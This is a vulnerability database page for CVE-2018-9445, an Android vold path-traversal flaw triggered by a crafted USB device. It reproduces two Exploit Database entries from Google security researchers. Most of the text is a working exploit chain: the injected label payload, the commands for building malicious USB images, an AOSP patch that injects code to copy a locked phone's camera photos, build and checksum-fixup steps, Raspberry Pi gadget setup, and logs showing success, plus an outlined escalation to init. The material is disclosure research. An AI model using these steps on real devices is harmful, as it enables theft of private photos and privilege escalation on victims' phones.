CVE-2018-9445 : Detail

CVE-2018-9445

6.8
/
Medium
Directory Traversal
A01-Broken Access Control
0.16%V3
Physical
2018-11-06
17h00 +00:00
2024-09-17
04h25 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

In readMetadata of Utils.cpp, there is a possible path traversal bug due to a confused deputy. This could lead to local escalation of privilege when mounting a USB device with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android-6.0 Android-6.0.1 Android-7.0 Android-7.1.1 Android-7.1.2 Android-8.0 Android-8.1 Android ID: A-80436257.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 6.8 MEDIUM CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Physical

A vulnerability exploitable with Physical access requires the attacker to physically touch or manipulate the vulnerable component. Physical interaction may be brief (e.g. evil maid attack [1]) or persistent. An example of such an attack is a cold boot attack which allows an attacker to access to disk encryption keys after gaining physical access to the system, or peripheral attacks such as Firewire/USB Direct Memory Access attacks.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 45379

Publication date : 2018-09-10 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

After reporting https://bugs.chromium.org/p/project-zero/issues/detail?id=1583 (Android ID 80436257, CVE-2018-9445), I discovered that this issue could also be used to inject code into the context of the zygote. Additionally, I discovered a privilege escalation path from zygote to init; that escalation path is why I'm filing a new bug. Essentially, the privilege escalation from zygote to init is possible because system/sepolicy/private/zygote.te contains the following rule: allow zygote self:capability sys_admin; (On the current AOSP master branch, the rule looks slightly different, but it's still there.) This rule allows processes in the zygote domain to use the CAP_SYS_ADMIN capability, if they have such a capability. The zygote has the capability and uses it, e.g. to call umount() and to install seccomp filters without setting the NO_NEW_PRIVS flag. CAP_SYS_ADMIN is a bit of a catch-all capability: If kernel code needs to check that the caller has superuser privileges and none of the capability bits fit the particular case, CAP_SYS_ADMIN is usually used. The capabilities(7) manpage has a long, but not exhaustive, list of things that this capability permits: http://man7.org/linux/man-pages/man7/capabilities.7.html One of the syscalls that can be called with CAP_SYS_ADMIN and don't have significant additional SELinux hooks is pivot_root(). This syscall can be used to switch out the root of the current mount namespace and, as part of that, change the root of every process in that mount namespace to the new namespace root (unless the process already had a different root). The exploit for this issue is in zygote_exec_target.c, starting at "if (unshare(CLONE_NEWNS))". The attack is basically: 1. set up a new mount namespace with a root that is fully attacker-controlled 2. execute crash_dump64, causing an automatic transition to the crash_dump domain 3. the kernel tries to load the linker for crash_dump64 from the attacker-controlled filesystem, resulting in compromise of the crash_dump domain 4. from the crash_dump domain, use ptrace() to inject syscalls into vold 5. from vold, set up a loop device with an attacker-controlled backing device and mount the loop device over /sbin, without "nosuid" 6. from vold, call request_key() with a nonexistent key, causing a usermodehelper invocation to /sbin/request-key, which is labeled as init_exec, causing an automatic domain transition from kernel to init (and avoiding the "neverallow kernel *:file { entrypoint execute_no_trans };" aimed at stopping exploits using usermodehelpers) 7. code execution in the init domain Note that this is only one of multiple possible escalation paths; for example, I think that you could also enable swap on an attacker-controlled file, then modify the swapped-out data to effectively corrupt the memory of any userspace process that hasn't explicitly locked all of its memory into RAM. In order to get into the zygote in the first place, I have to trigger CVE-2018-9445 twice: 1. Use the bug to mount a "public volume" with a FAT filesystem over /data/misc. 2. Trigger the bug again with a "private volume" with a dm-crypt-protected ext4 filesystem that will be mounted over /data. To decrypt the volume, a key from /data/misc/vold/ is used. 3. Cause system_server to crash in order to trigger a zygote reboot. For this, the following exception is targeted: *** FATAL EXCEPTION IN SYSTEM PROCESS: NetworkStats java.lang.NullPointerException: Attempt to get length of null array at com.android.internal.util.FileRotator.getActiveName(FileRotator.java:309) at com.android.internal.util.FileRotator.rewriteActive(FileRotator.java:183) at com.android.server.net.NetworkStatsRecorder.forcePersistLocked(NetworkStatsRecorder.java:300) at com.android.server.net.NetworkStatsRecorder.maybePersistLocked(NetworkStatsRecorder.java:286) at com.android.server.net.NetworkStatsService.performPollLocked(NetworkStatsService.java:1194) at com.android.server.net.NetworkStatsService.performPoll(NetworkStatsService.java:1151) at com.android.server.net.NetworkStatsService.-wrap3(Unknown Source:0) at com.android.server.net.NetworkStatsService$HandlerCallback.handleMessage(NetworkStatsService.java:1495) at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:164) at android.os.HandlerThread.run(HandlerThread.java:65) This exception can be triggered by sending >=2MiB (mPersistThresholdBytes) of network traffic to the device, then either waiting for the next periodic refresh of network stats or changing the state of a network interface. 4. The rebooting zygote64 does dlopen() on /data/dalvik-cache/arm64/system@[email protected], resulting in code execution in the zygote64. (For the zygote64 to get to this point, it's sufficient to symlink /data/dalvik-cache/arm64/system@framework@boot.{art,vdex} to their counterparts on /system, even though that code isn't relocated properly.) I have attached an exploit for the full chain, with usage instructions in USAGE. WARNING: As always, this exploit is intended to be used only on research devices that don't store user data. This specific exploit is known to sometimes cause data corruption. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45379.zip
Exploit Database EDB-ID : 45192

Publication date : 2018-08-12 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

When a USB mass storage device is inserted into an Android phone (even if the phone is locked!), vold will attempt to automatically mount partitions from the inserted device. For this purpose, vold has to identify the partitions on the connected device and collect some information about them, which is done in readMetadata() in system/vold/Utils.cpp. This function calls out to "blkid", then attempts to parse the results: std::vector<std::string> cmd; cmd.push_back(kBlkidPath); cmd.push_back("-c"); cmd.push_back("/dev/null"); cmd.push_back("-s"); cmd.push_back("TYPE"); cmd.push_back("-s"); cmd.push_back("UUID"); cmd.push_back("-s"); cmd.push_back("LABEL"); cmd.push_back(path); std::vector<std::string> output; status_t res = ForkExecvp(cmd, output, untrusted ? sBlkidUntrustedContext : sBlkidContext); if (res != OK) { LOG(WARNING) << "blkid failed to identify " << path; return res; } char value[128]; for (const auto& line : output) { // Extract values from blkid output, if defined const char* cline = line.c_str(); const char* start = strstr(cline, "TYPE="); if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) { fsType = value; } start = strstr(cline, "UUID="); if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) { fsUuid = value; } start = strstr(cline, "LABEL="); if (start != nullptr && sscanf(start + 6, "\"%127[^\"]\"", value) == 1) { fsLabel = value; } } Normally, the UUID string can't contain any special characters because blkid generates it by reformatting a binary ID as a printable UUID string. However, the version of blkid that Android is using will print the LABEL first, without escaping the characters this code scans for, allowing an attacker to place special characters in the fsUuid variable. For example, if you format a USB stick with a single partition, then place a romfs filesystem in the partition as follows (on the terminal of a Linux PC): # echo '-rom1fs-########TYPE="vfat" UUID="../../data"' > /dev/sdc1 and then connect the USB stick to a Nexus 5X and run blkid as root on the device, you'll see the injection: bullhead:/ # blkid -c /dev/null -s TYPE -s UUID -s LABEL /dev/block/sda1 /dev/block/sda1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs" logcat shows that the injection was successful and the device is indeed using the injected values, but vold doesn't end up doing much with the fake UUID because fsck_msdos fails: 05-29 20:41:26.262 391 398 V vold : /dev/block/vold/public:8,1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs" 05-29 20:41:26.262 391 398 V vold : 05-29 20:41:26.263 391 398 V vold : /system/bin/fsck_msdos 05-29 20:41:26.263 391 398 V vold : -p 05-29 20:41:26.263 391 398 V vold : -f 05-29 20:41:26.263 391 398 V vold : /dev/block/vold/public:8,1 05-29 20:41:26.264 813 2039 D VoldConnector: RCV <- {652 public:8,1 vfat} 05-29 20:41:26.264 813 2039 D VoldConnector: RCV <- {653 public:8,1 ../../data} 05-29 20:41:26.265 813 2039 D VoldConnector: RCV <- {654 public:8,1 TYPE=} 05-29 20:41:26.281 391 398 I fsck_msdos: ** /dev/block/vold/public:8,1 05-29 20:41:26.285 391 398 I fsck_msdos: Invalid sector size: 8995 05-29 20:41:26.286 391 398 I fsck_msdos: fsck_msdos terminated by exit(8) 05-29 20:41:26.286 391 398 E Vold : Filesystem check failed (no filesystem) 05-29 20:41:26.286 391 398 E vold : public:8,1 failed filesystem check 05-29 20:41:26.286 813 2039 D VoldConnector: RCV <- {651 public:8,1 6} 05-29 20:41:26.287 813 2039 D VoldConnector: RCV <- {400 48 Command failed} 05-29 20:41:26.288 2532 2532 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,1}: 05-29 20:41:26.288 2532 2532 D StorageNotification: type=PUBLIC diskId=disk:8,0 partGuid=null mountFlags=0 mountUserId=0 05-29 20:41:26.288 2532 2532 D StorageNotification: state=UNMOUNTABLE 05-29 20:41:26.288 2532 2532 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE= 05-29 20:41:26.288 2532 2532 D StorageNotification: path=null internalPath=null For a relatively harmless example in which vold actually ends up mounting the device in the wrong place, you can create a vfat partition with label 'UUID="../##': # mkfs.vfat -n 'PLACEHOLDER' /dev/sdc1 mkfs.fat 4.1 (2017-01-24) # dd if=/dev/sdc1 bs=1M count=200 | sed 's|PLACEHOLDER|UUID="../##|g' | dd of=/dev/sdc1 bs=1M 200+0 records in 200+0 records out 209715200 bytes (210 MB, 200 MiB) copied, 1.28705 s, 163 MB/s 198+279 records in 198+279 records out 209715200 bytes (210 MB, 200 MiB) copied, 2.60181 s, 80.6 MB/s Connect it to the Android device again while running strace against vold: [pid 398] newfstatat(AT_FDCWD, "/mnt/media_rw/../##", 0x7d935fe708, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) [pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0 [pid 398] fchmodat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0 [pid 398] fchownat(AT_FDCWD, "/mnt/media_rw/../##", 0, 0, 0) = 0 [pid 398] mount("/dev/block/vold/public:8,1", "/mnt/media_rw/../##", "vfat", MS_NOSUID|MS_NODEV|MS_NOEXEC|MS_DIRSYNC|MS_NOATIME, "utf8,uid=1023,gid=1023,fmask=7,d"...) = 0 [pid 398] faccessat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", F_OK) = -1 ENOENT (No such file or directory) [pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", 0755) = 0 Check the results: bullhead:/ # ls -l /mnt total 32 drwxrwx--- 3 media_rw media_rw 32768 2018-05-29 20:54 ## drwx--x--x 2 root root 40 1970-01-01 04:14 appfuse drwxr-xr-x 2 root system 40 1970-01-01 04:14 asec drwxrwx--x 2 system system 40 1970-01-01 04:14 expand drwxr-x--- 2 root media_rw 40 1970-01-01 04:14 media_rw drwxr-xr-x 2 root system 40 1970-01-01 04:14 obb drwx------ 5 root root 100 1970-01-01 04:14 runtime lrwxrwxrwx 1 root root 21 1970-01-01 04:14 sdcard -> /storage/self/primary drwx------ 3 root root 60 1970-01-01 04:14 secure drwxr-xr-x 3 root root 60 1970-01-01 04:14 user bullhead:/ # mount | grep '##' /dev/block/vold/public:8,1 on /mnt/## type vfat (rw,dirsync,nosuid,nodev,noexec,noatime,uid=1023,gid=1023,fmask=0007,dmask=0007,allow_utime=0020,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro) When testing with a normal USB stick, the attacker has to choose between using a vfat filesystem (so that Android is capable of mounting it as external storage) and using a romfs filesystem (so that the label is long enough to specify arbitrary paths). However, an attacker who wants to perform more harmful attacks could use a malicious USB storage device that is capable of delivering different data for multiple reads from the same location. This way, it would be possible to deliver a romfs superblock when blkfs is reading, but deliver a vfat superblock when the kernel is reading. I haven't tested this yet because I don't yet have the necessary hardware. When you fix this issue, please don't just fix the injection and/or the directory traversal. I believe that from a security perspective, a smartphone should not mount storage devices that are inserted while the screen is locked (or, more generally, communication with new USB devices should be limited while the screen is locked). Mounting a USB storage device exposes a lot of code to the connected device, including partition table parsing, vold logic, blkid, the kernel's FAT filesystem implementation, and anything on the device that might decide to read files from the connected storage device. ############################################################ This is a PoC for stealing photos from the DCIM folder of a Pixel 2 running build OPM2.171026.006.C1 while the device is locked. You will need a Pixel 2 as victim device, a corresponding AOSP build tree, a Raspberry Pi Zero W (or some other device you can use for device mode USB), a powered USB hub, and some cables. The victim phone must be powered on, the disk encryption keys must be unlocked (meaning that you must have entered your PIN/passphrase at least once since boot), and the attack probably won't work if someone has recently (since the last reboot) inserted a USB stick into the phone. Configure the Raspberry Pi Zero W such that it is usable for gadget mode (see e.g. https://gist.github.com/gbaman/50b6cca61dd1c3f88f41). Apply the following patch to frameworks/base in your AOSP build tree: ========================================= diff --git a/packages/ExternalStorageProvider./src/com/android/externalstorage/MountReceiver.java b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java index 8a6c7d68525..73be5818da1 100644 --- a/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java +++ b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java @@ -20,10 +20,38 @@ import android.content.BroadcastReceiver; import android.content.ContentProviderClient; import android.content.Context; import android.content.Intent; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; public class MountReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { + System.logE("MOUNTRECEIVER CODE INJECTED, GRABBING FILES..."); + try { + File exfiltration_dir = new File("/data/exfiltrated-photos"); + exfiltration_dir.mkdir(); + File camera_dir = new File("/storage/emulated/0/DCIM/Camera"); + File[] camera_files = camera_dir.listFiles(); + for (File camera_file: camera_files) { + System.logE("GRABBING '"+camera_file.getName()+"'"); + File exfiltrated_file = new File(exfiltration_dir, camera_file.getName()); + exfiltrated_file.delete(); + FileInputStream ins = new FileInputStream(camera_file); + FileOutputStream outs = new FileOutputStream(exfiltrated_file); + byte[] buf = new byte[4096]; + int len; + while ((len=ins.read(buf)) > 0) { + outs.write(buf, 0, len); + } + ins.close(); + outs.close(); + } + } catch (Exception e) { + throw new RuntimeException(e); + } + System.logE("INJECTED CODE DONE"); + final ContentProviderClient client = context.getContentResolver() .acquireContentProviderClient(ExternalStorageProvider.AUTHORITY); try { ========================================= Then build the tree ("lunch aosp_walleye-userdebug", then build with "make"). Zip the classes.dex build artifact of ExternalStorageProvider: $ zip -jX zipped_dexfile ~/aosp-walleye/out/target/common/obj/APPS/ExternalStorageProvider_intermediates/classes.dex adding: classes.dex (deflated 49%) $ mv zipped_dexfile.zip zipped_dexfile Download the factory image for OPM2.171026.006.C1 and unpack its system partition, e.g. using commands roughly as follows: $ unzip image-walleye-opm2.171026.006.c1.zip $ ~/aosp-walleye/out/host/linux-x86/bin/simg2img system.img system.img.raw # convert sparse image to normal $ echo 'rdump / walleye-opm2.171026.006.c1/unpacked_system/' | debugfs -f- walleye-opm2.171026.006.c1/unpacked_image/system.img.raw 2>/dev/null # extract filesystem image Now build the classes.dex build artifact into an odex file and a vdex file, linking against boot.art from the factory image: $ ~/aosp-walleye/out/host/linux-x86/bin/dex2oat --runtime-arg -Xms64m --runtime-arg -Xmx512m --class-loader-context='&' --boot-image=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/framework/boot.art --dex-file=zipped_dexfile --dex-location=/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk --oat-file=package.odex --android-root=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system --instruction-set=arm64 --instruction-set-variant=cortex-a73 --instruction-set-features=default --runtime-arg -Xnorelocate --compile-pic --no-generate-debug-info --generate-build-id --abort-on-hard-verifier-error --force-determinism --no-inline-from=core-oj.jar --compiler-filter=quicken The resulting vdex file would not be accepted by the phone because of a CRC32 checksum mismatch; to fix it up, compile the attached vdex_crc32_fixup.c and use it to overwrite the CRC32 checksum with the expected one from the factory image: $ ./vdex_crc32_fixup package.vdex ~/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk original crc32: d0473780 new crc32: 84c10ae9 vdex patched Prepare two disk images, each with a MBR partition table and a single partition. Their partition tables should be identical. In the first image's partition, place a fake romfs filesystem that triggers the vold bug: # echo -e '-rom1fs-########TYPE="vfat" UUID="../../data"\0' > /dev/sdd1 Format the second image's partition with FAT32, and create the following directory structure inside that filesystem (the "system@" entries are files, the rest are directories): ├── dalvik-cache │ └── arm64 │ ├── system@[email protected] │ ├── system@priv-app@[email protected]@classes.dex │ └── system@priv-app@[email protected]@classes.vdex ├── LOST.DIR ├── misc │ └── profiles │ └── cur │ └── 0 │ └── com.android.externalstorage ├── user │ └── 0 │ └── com.android.externalstorage │ └── cache └── user_de └── 0 └── com.android.externalstorage └── code_cache The three system@ files should have the following contents: - system@[email protected] should be a copy of system/framework/arm64/boot.art from the system image. - system@priv-app@[email protected]@classes.dex should be the generated package.odex. - system@priv-app@[email protected]@classes.vdex should be the fixed-up package.vdex. Copy the two disk images to the Raspberry Pi Zero W; the fake romfs image should be named "disk_image_blkid", the image with FAT32 should be named "disk_image_mount". On the Pi, build the fuse_intercept helper: $ gcc -Wall fuse_intercept.c `pkg-config fuse --cflags --libs` -o fuse_intercept Then create a directory "mount" and launch fuse_intercept. In a second terminal, tell the Pi's kernel to present the contents of the mount point as a mass storage device: pi@raspberrypi:~ $ sudo modprobe dwc2 pi@raspberrypi:~ $ sudo modprobe g_mass_storage file=/home/pi/mount/wrapped_image stall=0 To run the attack, connect the Pi to the powered USB hub as a device. Then use a USB-C OTG adapter (unless you have some fancy USB-C hub, I guess?) to connect the powered hub to the locked phone, with the phone in USB host mode. At this point, the phone should first mount the USB stick over /data, then immediately afterwards launch com.android.externalstorage/.MountReceiver: 06-05 21:58:20.988 656 665 I Vold : Filesystem check completed OK 06-05 21:58:20.988 1115 1235 D VoldConnector: RCV <- {656 public:8,97 /mnt/media_rw/../../data} 06-05 21:58:20.990 1115 1235 D VoldConnector: RCV <- {655 public:8,97 /mnt/media_rw/../../data} 06-05 21:58:21.004 1115 1235 D VoldConnector: RCV <- {651 public:8,97 2} 06-05 21:58:21.004 1115 1115 W android.fg: type=1400 audit(0.0:33): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0 06-05 21:58:21.006 1115 1235 D VoldConnector: RCV <- {200 7 Command succeeded} 06-05 21:58:21.004 1115 1115 W android.fg: type=1400 audit(0.0:34): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0 06-05 21:58:21.008 1335 1335 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,97}: 06-05 21:58:21.008 1335 1335 D StorageNotification: type=PUBLIC diskId=disk:8,96 partGuid=null mountFlags=0 mountUserId=0 06-05 21:58:21.008 1335 1335 D StorageNotification: state=MOUNTED 06-05 21:58:21.008 1335 1335 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE= 06-05 21:58:21.008 1335 1335 D StorageNotification: path=/mnt/media_rw/../../data internalPath=/mnt/media_rw/../../data 06-05 21:58:21.020 1115 1129 I ActivityManager: Start proc 4478:com.android.externalstorage/u0a35 for broadcast com.android.externalstorage/.MountReceiver Most processes can't access the vfat filesystem that is now mounted at /data either because they lack the necessary groups or because of some SELinux rule. But com.android.externalstorage passes both checks and can read and write (but not execute) files from the new /data. Bytecode is loaded from /data/dalvik-cache/arm64/system@priv-app@[email protected]@classes.vdex and then interpreted, allowing the attacker to steal photos from the device (since com.android.externalstorage has access to /storage/emulated/0): 06-05 21:58:21.248 4478 4478 I zygote64: The ClassLoaderContext is a special shared library. 06-05 21:58:21.276 4478 4478 W zygote64: JIT profile information will not be recorded: profile file does not exits. 06-05 21:58:21.278 4478 4478 W asset : failed to open idmap file /data/resource-cache/vendor@overlay@[email protected]@idmap 06-05 21:58:21.326 4478 4478 D ExternalStorage: After updating volumes, found 3 active roots 06-05 21:58:21.334 4478 4478 E System : MOUNTRECEIVER CODE INJECTED, GRABBING FILES... 06-05 21:58:21.343 4478 4478 E System : GRABBING 'IMG_20180605_212044.jpg' 06-05 21:58:21.419 4478 4478 E System : GRABBING 'IMG_20180605_215031.jpg' 06-05 21:58:21.428 2218 2218 W SQLiteLog: (28) file renamed while open: /data/user/0/com.google.android.gms/databases/config.db 06-05 21:58:21.465 4478 4478 E System : INJECTED CODE DONE Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45192.zip

Products Mentioned

Configuraton 0

Google>>Android >> Version 6.0

Google>>Android >> Version 6.0.1

Google>>Android >> Version 7.0

Google>>Android >> Version 7.1.1

Google>>Android >> Version 7.1.2

Google>>Android >> Version 8.0

Google>>Android >> Version 8.1

References

http://www.securitytracker.com/id/1041432
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/45192/
Tags : exploit, x_refsource_EXPLOIT-DB